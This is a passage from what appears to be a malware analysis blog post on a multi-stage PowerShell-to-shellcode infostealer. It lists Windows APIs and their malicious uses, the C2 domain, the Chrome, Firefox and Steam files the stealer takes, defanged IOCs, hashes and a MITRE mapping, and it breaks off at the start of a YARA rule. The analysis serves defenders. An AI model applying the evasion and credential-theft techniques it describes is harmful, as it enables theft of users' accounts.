&lt;td&gt;&lt;code&gt;GetDIBits&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;gdi32&lt;/td&gt;
&lt;td&gt;Extract bitmap pixels&lt;/td&gt;
&lt;td&gt;Used for &lt;strong&gt;image extraction&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CreateCompatibleDC&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;gdi32&lt;/td&gt;
&lt;td&gt;Offscreen drawing&lt;/td&gt;
&lt;td&gt;Used in &lt;strong&gt;screenshot pipelines&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CreateCompatibleBitmap&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;gdi32&lt;/td&gt;
&lt;td&gt;Bitmap buffer&lt;/td&gt;
&lt;td&gt;Screen capture buffer creation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;SelectObject&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;gdi32&lt;/td&gt;
&lt;td&gt;GDI object selection&lt;/td&gt;
&lt;td&gt;Used in &lt;strong&gt;image manipulation&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;DeleteDC / DeleteObject&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;gdi32&lt;/td&gt;
&lt;td&gt;Cleanup&lt;/td&gt;
&lt;td&gt;Anti-analysis cleanup&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GdiFlush&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;gdi32&lt;/td&gt;
&lt;td&gt;Flush GDI calls&lt;/td&gt;
&lt;td&gt;Ensures capture completion&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;GetDesktopWindow&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;user32&lt;/td&gt;
&lt;td&gt;Desktop handle&lt;/td&gt;
&lt;td&gt;Base for &lt;strong&gt;full screen capture&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h5&gt;Registry / Persistence / System Query&lt;/h5&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;API&lt;/th&gt;
&lt;th&gt;DLL&lt;/th&gt;
&lt;th&gt;Why malware uses it&lt;/th&gt;
&lt;th&gt;Malicious purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RegOpenKeyExA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;advapi32&lt;/td&gt;
&lt;td&gt;Open registry key&lt;/td&gt;
&lt;td&gt;Used for &lt;strong&gt;persistence / startup keys&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RegQueryValueExA&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;advapi32&lt;/td&gt;
&lt;td&gt;Read registry values&lt;/td&gt;
&lt;td&gt;Used for &lt;strong&gt;system reconnaissance&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;RegCloseKey&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;advapi32&lt;/td&gt;
&lt;td&gt;Close registry handle&lt;/td&gt;
&lt;td&gt;cleanup&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h5&gt;Networking / C2 Communication&lt;/h5&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;API&lt;/th&gt;
&lt;th&gt;DLL&lt;/th&gt;
&lt;th&gt;Why malware uses it&lt;/th&gt;
&lt;th&gt;Malicious purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;WSAStartup&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ws2_32&lt;/td&gt;
&lt;td&gt;Init sockets&lt;/td&gt;
&lt;td&gt;Initializes network stack&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;WSACleanup&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ws2_32&lt;/td&gt;
&lt;td&gt;Cleanup sockets&lt;/td&gt;
&lt;td&gt;network teardown&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;getaddrinfo&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ws2_32&lt;/td&gt;
&lt;td&gt;DNS resolution&lt;/td&gt;
&lt;td&gt;C2 domain resolution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;freeaddrinfo&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ws2_32&lt;/td&gt;
&lt;td&gt;Free DNS results&lt;/td&gt;
&lt;td&gt;memory cleanup&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h5&gt;COM / GUID / System Identity&lt;/h5&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;API&lt;/th&gt;
&lt;th&gt;DLL&lt;/th&gt;
&lt;th&gt;Why malware uses it&lt;/th&gt;
&lt;th&gt;Malicious purpose&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CoInitializeEx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ole32/combase&lt;/td&gt;
&lt;td&gt;Init COM&lt;/td&gt;
&lt;td&gt;Required for advanced Windows APIs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CoUninitialize&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ole32/combase&lt;/td&gt;
&lt;td&gt;Cleanup COM&lt;/td&gt;
&lt;td&gt;teardown&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CoCreateInstance&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ole32/combase&lt;/td&gt;
&lt;td&gt;Create COM objects&lt;/td&gt;
&lt;td&gt;Used for &lt;strong&gt;system interaction stealth&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;CoCreateGuid&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;ole32/combase&lt;/td&gt;
&lt;td&gt;Generate GUID&lt;/td&gt;
&lt;td&gt;Used for &lt;strong&gt;unique bot IDs / persistence IDs&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h4&gt;Config Bootstrap&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515175224.png&quot; alt=&quot;Pasted image 20260515175224.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515175251.png&quot; alt=&quot;Pasted image 20260515175251.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515175505.png&quot; alt=&quot;Pasted image 20260515175505.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is staging a powershell command to download next stage payload from there,&lt;/li&gt;
&lt;li&gt;but currently it is down,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;https[:]//telegra[.]ph/Parameters-04-03
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515175659.png&quot; alt=&quot;Pasted image 20260515175659.png&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;C2 Communication&lt;/h4&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515180017.png&quot; alt=&quot;Pasted image 20260515180017.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;At runtime i found that this function will resolve, &lt;code&gt;getadressinfo&lt;/code&gt; and resolve domain name to ip address,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260511201920.png&quot; alt=&quot;Pasted image 20260511201920.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This is the function where whole HTTP header will build and request made to C2,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515180210.png&quot; alt=&quot;Pasted image 20260515180210.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515180259.png&quot; alt=&quot;Pasted image 20260515180259.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515180318.png&quot; alt=&quot;Pasted image 20260515180318.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515180341.png&quot; alt=&quot;Pasted image 20260515180341.png&quot; /&gt;
&lt;img src=&quot;images/Pasted_image_20260515180405.png&quot; alt=&quot;Pasted image 20260515180405.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515180424.png&quot; alt=&quot;Pasted image 20260515180424.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515180446.png&quot; alt=&quot;Pasted image 20260515180446.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now at runtime i found the actual C2 domain,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;tq[.]trxzidanp[.]icu
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515180552.png&quot; alt=&quot;Pasted image 20260515180552.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It also doing some  low-level network activity designed to bypass traditional security monitoring.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515180755.png&quot; alt=&quot;Pasted image 20260515180755.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;AfdOpenPacket&lt;/code&gt; family of functions interacts directly with the &lt;strong&gt;Ancillary Function Driver (AFD.sys)&lt;/strong&gt;, which is the kernel-mode driver responsible for Windows Sockets (Winsock) and TCP/IP traffic.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Direct TCP Socket Creation:&lt;/strong&gt; Advanced malware can use &lt;code&gt;AfdOpenPacket&lt;/code&gt; (often accessed via &lt;code&gt;NtCreateFile&lt;/code&gt; on &lt;code&gt;\\Device\\Afd&lt;/code&gt;) to craft raw TCP sockets without relying on standard Windows APIs like &lt;code&gt;ws2_32.dll&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Bypassing Security Monitoring:&lt;/strong&gt; By interacting directly with &lt;code&gt;AFD.sys&lt;/code&gt; in the kernel, malware can evade security solutions that hook higher-level Winsock APIs, allowing it to send or receive data silently.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Browser and Other Data Theft&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Now for these module i found so many functionalities so listed some important only,&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Browser Credential&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515181302.png&quot; alt=&quot;Pasted image 20260515181302.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;This is structure of function, it is making json object as shown and exfiltrate it.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;{
   &quot;n&quot;: &quot;Chrome&quot;,
   &quot;p&quot;: &quot;Google\\Chrome\\User Data&quot;,
   &quot;pn&quot;: &quot;Default&quot;,
   &quot;t&quot;: 1
 }
// Extracting Data From 
&quot;C:\\Users\\&amp;lt;USER&amp;gt;\\AppData\\Local\\Google\\Chrome\\User Data&quot;
// such as 
&quot;\\Local State, encrypted_key, profiles_order&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h5&gt;Browser Cookies&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;It doing these for both, &lt;code&gt;Firefox&lt;/code&gt; and &lt;code&gt;Chrome&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515181436.png&quot; alt=&quot;Pasted image 20260515181436.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515181454.png&quot; alt=&quot;Pasted image 20260515181454.png&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;Stealing Firefox Profiles and Extension Information&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515181647.png&quot; alt=&quot;Pasted image 20260515181647.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515181603.png&quot; alt=&quot;Pasted image 20260515181603.png&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;Stealing Steam Cache Data&lt;/h5&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515182101.png&quot; alt=&quot;Pasted image 20260515182101.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515182216.png&quot; alt=&quot;Pasted image 20260515182216.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;You see many “key-like” strings being constructed:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&quot;users&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;AccountName&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;Software&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;Valve&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;Steam&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;Connect&quot;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&quot;Cache&quot;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;System + user environment harvesting: (&lt;code&gt;HKCU\Software\Valve\Steam&lt;/code&gt;)
&lt;ul&gt;
&lt;li&gt;user accounts&lt;/li&gt;
&lt;li&gt;installed software&lt;/li&gt;
&lt;li&gt;Steam / Valve gaming data&lt;/li&gt;
&lt;li&gt;registry keys under Software hive&lt;/li&gt;
&lt;li&gt;cache / session data&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;It stills files such as,
&lt;ul&gt;
&lt;li&gt;Steam\config\loginusers.vdf&lt;/li&gt;
&lt;li&gt;Steam\config\config.vdf&lt;/li&gt;
&lt;li&gt;Steam\config\steamappdata.vdf&lt;/li&gt;
&lt;li&gt;Steam\config\steamapps.vdf&lt;/li&gt;
&lt;li&gt;Steam\config\ssfn*&lt;/li&gt;
&lt;li&gt;Steam\config\htmlcache\&lt;/li&gt;
&lt;li&gt;Steam\userdata\ etc.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Data Exfiltration&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;it is doing &lt;code&gt;json escaping&lt;/code&gt; to transport all the stolen json data to C2,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515182618.png&quot; alt=&quot;Pasted image 20260515182618.png&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Threat Intelligence&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;AnyRun Report : https://any.run/report/9d0ce7a84e62e3458b82d682c7c3f97d095cb2fba8caa0263ee8929994990254/311c6448-7c0a-461b-83ea-e13360d1383f&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515194640.png&quot; alt=&quot;Pasted image 20260515194640.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Hybrid Analysis Report: https://hybrid-analysis.com/sample/9d0ce7a84e62e3458b82d682c7c3f97d095cb2fba8caa0263ee8929994990254/69e8bf822283d37f6b027207&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515194652.png&quot; alt=&quot;Pasted image 20260515194652.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;VirusTotal Give 4 hits for domain,
&lt;ul&gt;
&lt;li&gt;https://www.virustotal.com/gui/domain/tq.trxzidan.icu&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515194319.png&quot; alt=&quot;Pasted image 20260515194319.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For Shellcode it gives 20 hits,
&lt;ul&gt;
&lt;li&gt;https://www.virustotal.com/gui/file/7e3e622c9762b8ccdf813c0b288f677f1b4055e31389440a9b692638555a5153&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515194416.png&quot; alt=&quot;Pasted image 20260515194416.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;For .NET Sample it gives 48 hits,
&lt;ul&gt;
&lt;li&gt;https://www.virustotal.com/gui/file/c1e8ea0ebbe41a5714caca4fc85046de84dd82553379c16b7f83b0c7fc8ce20a&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260515194457.png&quot; alt=&quot;Pasted image 20260515194457.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;VT Graph and Collection
&lt;ul&gt;
&lt;li&gt;https://www.virustotal.com/gui/collection/cceb0d0facbb996502cdc4c4ff055432ceda7d898a7ad3ef2a8d14905edff5b6/summary&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;iframe
src=&quot;https://www.virustotal.com/graph/embed/gac8f7c1fac81413582c7e6729f2861fa9af3c38abff946b886c628e7c2f36dae?theme=dark&quot;
width=&quot;700&quot;
height=&quot;400&quot;&amp;gt;
&amp;lt;/iframe&amp;gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;
&amp;lt;br&amp;gt;&lt;/p&gt;
&lt;h1&gt;IOCs&lt;/h1&gt;
&lt;h2&gt;URLs&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;https[:]//6fd64f52[.]syscheck-loadverifyov3[.]pages[.]dev/
https[:]//authexingload[.]space/bnyu[.]r
https[:]//telegra[.]ph/Parameter-04-03
https[:]//tq[.]trxzidan[.]icu
https[:]//192[.]0[.]2[.]123
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Payloads&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Stages&lt;/th&gt;
&lt;th&gt;Type&lt;/th&gt;
&lt;th&gt;Hash&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;stage0.ps1&lt;/td&gt;
&lt;td&gt;Pwsh&lt;/td&gt;
&lt;td&gt;2e2490b755819d71092a71961d4bfaff5cf3f69fd00199e38759370806d7f78b&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;stage1.ps1&lt;/td&gt;
&lt;td&gt;Pwsh&lt;/td&gt;
&lt;td&gt;986c84f6345e6b40f5ece22c961a7fdb9356733c2ca0b8a22970c7c18ee1ed4e&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;stage2.ps1&lt;/td&gt;
&lt;td&gt;Pwsh&lt;/td&gt;
&lt;td&gt;9d0ce7a84e62e3458b82d682c7c3f97d095cb2fba8caa0263ee8929994990254&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;stage3.ps1&lt;/td&gt;
&lt;td&gt;Pwsh&lt;/td&gt;
&lt;td&gt;beef326622ceb85d37697b965c55290f04c0c6088016b45ba9e17026e36d1fe3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;stage4.exe&lt;/td&gt;
&lt;td&gt;.NET&lt;/td&gt;
&lt;td&gt;c1e8ea0ebbe41a5714caca4fc85046de84dd82553379c16b7f83b0c7fc8ce20a&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;stage5_shellcode.bin&lt;/td&gt;
&lt;td&gt;Shellcode&lt;/td&gt;
&lt;td&gt;7e3e622c9762b8ccdf813c0b288f677f1b4055e31389440a9b692638555a5153&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;stage6_carvedfromshellcode.exe&lt;/td&gt;
&lt;td&gt;ASMx86&lt;/td&gt;
&lt;td&gt;25d0ad1cc25b94cb4e01ece63b9de726212ed4172f284b12946c5c5b6c732f90&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;MITRE ATT&amp;amp;CK Mapping&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Tactic&lt;/th&gt;
&lt;th&gt;Technique ID&lt;/th&gt;
&lt;th&gt;Technique Name&lt;/th&gt;
&lt;th&gt;Where in your chain&lt;/th&gt;
&lt;th&gt;Evidence (from reports + behavior)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Initial Access&lt;/td&gt;
&lt;td&gt;T1566.002&lt;/td&gt;
&lt;td&gt;Phishing: Spearphishing Link&lt;/td&gt;
&lt;td&gt;Stage0&lt;/td&gt;
&lt;td&gt;Clipboard clickfix PowerShell URL lure (&lt;code&gt;pages.dev&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Execution&lt;/td&gt;
&lt;td&gt;T1059.001&lt;/td&gt;
&lt;td&gt;PowerShell&lt;/td&gt;
&lt;td&gt;Stage0–Stage4&lt;/td&gt;
&lt;td&gt;Multi-stage PowerShell loaders across all initial stages&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Execution&lt;/td&gt;
&lt;td&gt;T1204.001&lt;/td&gt;
&lt;td&gt;User Execution: Malicious Link&lt;/td&gt;
&lt;td&gt;Stage0&lt;/td&gt;
&lt;td&gt;User triggered clipboard execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defense Evasion&lt;/td&gt;
&lt;td&gt;T1027&lt;/td&gt;
&lt;td&gt;Obfuscated/Encrypted Files or Info&lt;/td&gt;
&lt;td&gt;Stage1–Stage4&lt;/td&gt;
&lt;td&gt;XOR + Base64 + AES-CBC encrypted payloads&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defense Evasion&lt;/td&gt;
&lt;td&gt;T1140&lt;/td&gt;
&lt;td&gt;Deobfuscate/Decode Files or Information&lt;/td&gt;
&lt;td&gt;Stage1–Stage5&lt;/td&gt;
&lt;td&gt;Repeated decode → next stage execution chain&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defense Evasion&lt;/td&gt;
&lt;td&gt;T1027.002&lt;/td&gt;
&lt;td&gt;Software Packing&lt;/td&gt;
&lt;td&gt;Stage5&lt;/td&gt;
&lt;td&gt;.NET loader with embedded encrypted shellcode&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Execution&lt;/td&gt;
&lt;td&gt;T1106&lt;/td&gt;
&lt;td&gt;Native API Execution&lt;/td&gt;
&lt;td&gt;Stage5&lt;/td&gt;
&lt;td&gt;.NET runtime executing shellcode manually&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Execution&lt;/td&gt;
&lt;td&gt;T1620&lt;/td&gt;
&lt;td&gt;Reflective Code Loading&lt;/td&gt;
&lt;td&gt;Stage5&lt;/td&gt;
&lt;td&gt;Runtime shellcode injection in memory&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Execution&lt;/td&gt;
&lt;td&gt;T1055&lt;/td&gt;
&lt;td&gt;Process Injection&lt;/td&gt;
&lt;td&gt;Stage5–Stage6&lt;/td&gt;
&lt;td&gt;Donut shellcode + in-memory execution&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defense Evasion&lt;/td&gt;
&lt;td&gt;T1218.011&lt;/td&gt;
&lt;td&gt;Signed Binary Proxy Execution (Rundll32/Regsvr32 style behavior likely)&lt;/td&gt;
&lt;td&gt;Stage3–Stage4&lt;/td&gt;
&lt;td&gt;PowerShell-based staged execution (LOLBins pattern)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defense Evasion&lt;/td&gt;
&lt;td&gt;T1105&lt;/td&gt;
&lt;td&gt;Ingress Tool Transfer&lt;/td&gt;
&lt;td&gt;Stage3&lt;/td&gt;
&lt;td&gt;Download stage4 payload from external domain&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command &amp;amp; Control&lt;/td&gt;
&lt;td&gt;T1071.001&lt;/td&gt;
&lt;td&gt;Web Protocols (HTTP/HTTPS)&lt;/td&gt;
&lt;td&gt;Stage3–Stage7&lt;/td&gt;
&lt;td&gt;C2 + download + exfil over HTTPS endpoints&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command &amp;amp; Control&lt;/td&gt;
&lt;td&gt;T1102&lt;/td&gt;
&lt;td&gt;Web Service (Telegram-like infra possible)&lt;/td&gt;
&lt;td&gt;Stage7&lt;/td&gt;
&lt;td&gt;&lt;code&gt;telegra.ph&lt;/code&gt; used for payload staging&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Command &amp;amp; Control&lt;/td&gt;
&lt;td&gt;T1568&lt;/td&gt;
&lt;td&gt;Dynamic Resolution / Hosting Abuse&lt;/td&gt;
&lt;td&gt;Stage0–Stage3&lt;/td&gt;
&lt;td&gt;Multiple disposable domains (&lt;code&gt;pages.dev&lt;/code&gt;, &lt;code&gt;.space&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Persistence (possible)&lt;/td&gt;
&lt;td&gt;T1053&lt;/td&gt;
&lt;td&gt;Scheduled Task/Auto Start Execution&lt;/td&gt;
&lt;td&gt;Likely Stage4–5&lt;/td&gt;
&lt;td&gt;Common in PowerShell loaders (often seen in HA reports)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Exfiltration&lt;/td&gt;
&lt;td&gt;T1041&lt;/td&gt;
&lt;td&gt;Exfiltration Over C2 Channel&lt;/td&gt;
&lt;td&gt;Stage7&lt;/td&gt;
&lt;td&gt;&lt;code&gt;tq.trxzidanp.icu&lt;/code&gt; exfil endpoint&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Collection&lt;/td&gt;
&lt;td&gt;T1005&lt;/td&gt;
&lt;td&gt;Data from Local System&lt;/td&gt;
&lt;td&gt;Stage7&lt;/td&gt;
&lt;td&gt;Credential theft / system data harvesting implied&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Credential Access&lt;/td&gt;
&lt;td&gt;T1555&lt;/td&gt;
&lt;td&gt;Credentials from Password Stores&lt;/td&gt;
&lt;td&gt;Likely Stage7&lt;/td&gt;
&lt;td&gt;Steam credential theft module in earlier analysis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Impact / Payload&lt;/td&gt;
&lt;td&gt;T1622&lt;/td&gt;
&lt;td&gt;Debugging / Anti-analysis checks&lt;/td&gt;
&lt;td&gt;Stage5&lt;/td&gt;
&lt;td&gt;Sandbox / VM checks often present in such chains&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Execution&lt;/td&gt;
&lt;td&gt;T1059.003&lt;/td&gt;
&lt;td&gt;Windows Command Shell&lt;/td&gt;
&lt;td&gt;Stage3–Stage4&lt;/td&gt;
&lt;td&gt;PowerShell often spawns cmd for staging&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Defense Evasion&lt;/td&gt;
&lt;td&gt;T1497&lt;/td&gt;
&lt;td&gt;Virtualization/Sandbox Evasion&lt;/td&gt;
&lt;td&gt;Earlier stage malware behavior (you referenced VM checks)&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1&gt;YARA Rule&lt;/h1&gt;
&lt;pre&gt;&lt;code&gt;/*
  YARA rules — PowerShell-to-Shellcode fileless chain (May 2026)
  Source: blog analysis + static parsing of stage0–stage6 samples in this directory.
